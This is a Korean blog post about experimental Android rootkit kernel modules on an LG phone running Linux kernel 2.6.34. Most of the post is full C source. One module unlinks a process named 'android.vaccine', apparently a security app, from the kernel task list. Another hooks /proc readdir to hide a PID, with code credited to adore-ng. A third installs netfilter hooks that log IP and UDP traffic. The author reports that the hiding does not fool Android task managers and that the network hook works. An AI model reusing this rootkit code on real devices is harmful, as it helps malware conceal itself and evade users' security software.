본문 바로가기

Programming

Android Rootkit

앞전의 안드로이드 리눅스커널 2.6.34 버전의 LG 폰에 구축한 개발환경상에서 몇가지 루트킷 테스트를 해보았는데...


* 참고로 adb push 로 파일을 넣을때 system 소유자에게 w 권한이 있는폴더에 넣어야함 /data 가 있음.

* 다른 부분에 대해서는 rw 속성으로 remount 하는게 잘 안되는데 뭔가 귀찮아서 넘어감


1. 프로세스를 숨겨서 앱 숨기기


- task_struct 리스트 변조


#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/sched.h>

#include <linux/timer.h>

#include <linux/jiffies.h>

#include <linux/sched.h>


static int __init initLKL(void){


struct task_struct* p;

struct task_struct* p_prev;

struct task_struct* p_next;


for_each_process(p)

{

printk("%s, prev : %p, next : %p\n",p->comm, p->tasks.prev, p->tasks.next);

if( !strcmp(p->comm, "android.vaccine") ){

printk("task found!!\n");


if(p->tasks.prev != p->tasks.next){

printk("original p->tasks.prev->next : %p\n", p->tasks.prev->next );

p->tasks.prev->next = p->tasks.next;

printk("manipulated p->tasks.prev->next : %p\n", p->tasks.prev->next );


printk("original p->tasks.next->prev : %p\n", p->tasks.next->prev);

p->tasks.next->prev = p->tasks.prev;

printk("manipulated p->tasks.next->prev : %p\n", p->tasks.next->prev);

}

printk("process android.vaccine is hided\n");

}

}

return 0;

}


//when unloading module restore idt table

static void __exit exitLKL(void)

{

  printk("module END\n");

}


module_init( initLKL );

module_exit( exitLKL );



- VFS /proc 엔트리에서 pid 리스팅제거


#include <linux/kernel.h>

#include <linux/init.h>

#include <linux/module.h>

#include <linux/syscalls.h>

#include <linux/file.h>

#include <linux/fs.h>

#include <linux/fcntl.h>

#include <asm/uaccess.h>


#define HIDEPID 4684


struct file_operations fake_fs;

struct file_operations *ori_fs;


typedef int (*readdir_t)(struct file *, void *, filldir_t);

readdir_t orig_readdir=0;

filldir_t proc_filldir = 0;


/*Convert string to integer. Strip non-integer characters. Courtesy

adore-ng*/


int adore_atoi(const char *str)

{

        int ret = 0, mul = 1;

        const char *ptr;

        for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)

                ;

        ptr--;

        while (ptr >= str) {

                if (*ptr < '0' || *ptr > '9')

                        break;

                ret += (*ptr - '0') * mul;

                mul *= 10;

ptr--;   

        }


        return ret;

}


int my_proc_filldir (void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)

{

        /*If name is equal to our pid, then we return 0. This way,

        our pid isn't visible*/

        if(adore_atoi(name)==HIDEPID)

        {

                return 0;

        }

        /*Otherwise, call original filldir*/

        return proc_filldir(buf, name, nlen, off, ino, x);

}

 

int my_readdir(struct file *fp, void *buf, filldir_t filldir)

{

        int r=0;

printk("my readdir called\n"); 

                

        proc_filldir = filldir;

        

        /*invoke orig_proc_readdir with my_proc_filldir*/

        r=orig_readdir(fp,buf,my_proc_filldir);

                

        return r;

}


struct inode *node;

static void process_code(char *filename){


struct file *file;


mm_segment_t old_fs = get_fs();

set_fs(KERNEL_DS);


file = filp_open(filename, O_RDONLY,0);


printk("file : %d\n", file);   


node = file->f_dentry->d_inode;

printk("inode : %p\n", node);

printk("original f_iop : %p\n", node->i_fop);


ori_fs = node->i_fop;

orig_readdir = ori_fs->readdir;


memcpy( &fake_fs, ori_fs, sizeof(struct file_operations) );

fake_fs.readdir = my_readdir;


node->i_fop = &fake_fs;

printk("fake f_iop : %p\n", node->i_fop);

printk("file size : %p\n", node->i_size);


set_fs(old_fs);

}


static int __init init(void){

process_code("/proc");

printk("hook ok?\n");

return 0;

}


static void __exit exit(void){

printk("restore...\n");

node->i_fop = ori_fs;

printk("end\n");

 }


MODULE_LICENSE("GPL");

module_init(init);

module_exit(exit);



두가지를 다 해봐도 타겟 App 은 작업관리자 류 프로그램에서 잘만 나타난다 -_-
VFS 에서 숨기는것은 당연하겠지만 ps 명령상에서는 숨겨지지만 안드로이드상에서는 전혀 영향안받음...

결론. 커널 자료구조와 /proc 에 있는 정보 이외에 안드로이드 시스템에 자체적으로
실행중인 앱들에 대한 정보가 보관되는것 같다.


- netfilter 로 네트워크 후킹

#include <linux/mm.h>
#include <linux/init.h>
#include <asm/io.h>
#include <linux/unistd.h>
#include <linux/types.h>
#include <linux/fcntl.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/skbuff.h>
#include <linux/netdevice.h>
#include <linux/inetdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/tcp.h>
#include <linux/ip.h>
#include <linux/udp.h>
#include <linux/in.h>
#include <linux/fs.h>
#include <linux/random.h>

#define MAJOR_NUMBER 123
#define MAXBUFFER 8192

#define BUCKET 128
#define MAX_TABLE_ENTRY 128
#define DNSPORT 53

#define MAGIC_num  0xDF
#define TPROXY_INIT    _IO(MAGIC_num,0)
#define TPROXY_GRANT   _IOWR(MAGIC_num, 1, unsigned int)
#define MAXNR 1

#pragma pack(1)
struct pseudohdr{
unsigned int sip;
unsigned int dip;
unsigned short protocol;
unsigned short len;
};
#pragma pack()

struct srcinfo{
unsigned short id;
unsigned short port;
};

unsigned short in_cksum(u_short *addr, int len){

    int         sum=0;        
    int         nleft=len;    
    u_short     *w=addr;      
    u_short     answer=0;  
 
    while (nleft > 1){
        sum += *w++;
        nleft -= 2;
    }
    if (nleft == 1){
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }

    sum = (sum >> 16) + (sum & 0xffff);  
    sum += (sum >> 16);                  
    answer = ~sum;                       
    return(answer);               
}

void PrintIP(unsigned int n){
printk("%d.%d.%d.%d", (int)(n)&0xFF, (int)(n>>8)&0xFF, (int)(n>>16)&0xFF, (int)(n>>24)&0xFF);
}

static int tp_open( struct inode *inode, struct file *filp ){
printk( "tproxy firewall control opened\n" );
return 0;
}

static int tp_release( struct inode *inode, struct file *filp ){
printk( "tproxy firewall control released\n" );
return 0;
}

static ssize_t tp_write( struct file *filp, const char *buf, size_t count, loff_t *f_pos ){
return 0;
}

static ssize_t tp_read( struct file *filp, char *buf, size_t count, loff_t *f_pos ){
return 0;
}


static struct file_operations tproxy_fops = {
.read = tp_read,
.write = tp_write,
.open = tp_open,
.release = tp_release
};

void dump(unsigned char* p, int len){
printk("dump>");
int i;
for(i=0; i<len; i++){
printk( "%02X ", (unsigned int)p[i] );
}
printk("<dump\n");
}

unsigned int tproxy_prehook(unsigned int hooknum, 
struct sk_buff* skb, 
const struct net_device* in, 
const struct net_device* out,
int (*okfn)(struct sk_buff*))
{
if(skb==NULL){
printk("skb is null\n");
return NF_ACCEPT;
}

struct iphdr* iph = ip_hdr(skb);
struct udphdr* udph = (struct udphdr*)((unsigned char*)iph+20);
unsigned short* pdns_id = (unsigned short*)((unsigned char*)iph+28); // dns identification.

// for UDP pseudo header
struct pseudohdr pshdr;
unsigned char* tmp;
int i=0;

switch( ntohs(skb->protocol) ){
case 0x0800: // IP
if(iph==NULL){
printk("iph is null\n");
break;
}
printk("[pre]IP ");
PrintIP( iph->saddr );
printk(" to ");
PrintIP( iph->daddr );
printk("\n");
switch(iph->protocol){
case IPPROTO_UDP:
printk("[pre]this is UDP %x -> %x\n", udph->source, udph->dest);
break;
default:
break;
}
break;
default:
break;
}

return NF_ACCEPT;
}

unsigned int tproxy_posthook(unsigned int hooknum, 
struct sk_buff* skb, 
const struct net_device* in, 
const struct net_device* out,
int (*okfn)(struct sk_buff*))
{
if(skb==NULL) return NF_ACCEPT;

struct iphdr* iph = ip_hdr(skb);
struct udphdr* udph = (struct udphdr*)((unsigned char*)iph+20);
unsigned short* pdns_id = (unsigned short*)((unsigned char*)iph+28); // dns identification.

// for UDP pseudo header
struct pseudohdr pshdr;
unsigned char* tmp;
switch( ntohs(skb->protocol) ){
case 0x0800: // IP
if(iph==NULL){
printk("iph is null\n");
break;
}
printk("[post]IP ");
PrintIP( iph->saddr );
printk(" to ");
PrintIP( iph->daddr );
printk("\n");
switch(iph->protocol){
case IPPROTO_UDP:
printk("[post]this is UDP %x -> %x\n", udph->source, udph->dest);
break;
default:
break;
}
break;
default:
break;
}

return NF_ACCEPT;
}

static struct nf_hook_ops tproxy_ops_pre;
static struct nf_hook_ops tproxy_ops_post;

int my_init(void)
{
int r;
printk("hello android!!\n");
if( (r=register_chrdev( MAJOR_NUMBER, "tproxy_dns", &tproxy_fops )) >= 0)
printk("register_chrdev OK\n");
else
printk("register_chrdev FAILED %x\n", r);

tproxy_ops_pre.hook = tproxy_prehook;
tproxy_ops_pre.pf = PF_INET;
tproxy_ops_pre.hooknum = NF_INET_PRE_ROUTING;
tproxy_ops_pre.priority = INT_MIN;
r = nf_register_hook( &tproxy_ops_pre );
printk("nf_register_hook prerouting %x\n", r);

tproxy_ops_post.hook = tproxy_posthook;
tproxy_ops_post.pf = PF_INET;
tproxy_ops_post.hooknum = NF_INET_POST_ROUTING;
tproxy_ops_post.priority = INT_MAX;
r = nf_register_hook( &tproxy_ops_post );
printk("nf_register_hook postrouting %x\n", r);

return 0;
}

void my_exit(void)
{
int r;
nf_unregister_hook( &tproxy_ops_pre );
printk("unhook prehook chain %x \n", r); 

nf_unregister_hook( &tproxy_ops_post );
printk("unhook posthook chain %x\n", r); 

unregister_chrdev( MAJOR_NUMBER, "tproxy_dns" );
printk("unregister tproxy_dns ok.  BYE.\n"); 
printk("module unloaded\n ");
}
module_init(my_init);
module_exit(my_exit);


이건 잘됨. 
단지 ARM 에서의 Byte Ordering 때문에 삽질이 좀 있던거같은데
그부분을 조심해야할듯...






'Programming' 카테고리의 다른 글

Windows Library Structure  (0) 2013.05.22
netcat proxy  (1) 2013.04.24
Android rootkit developing environment  (0) 2013.04.23
fork and exec.c  (0) 2013.03.19
sniffer.c  (0) 2013.03.19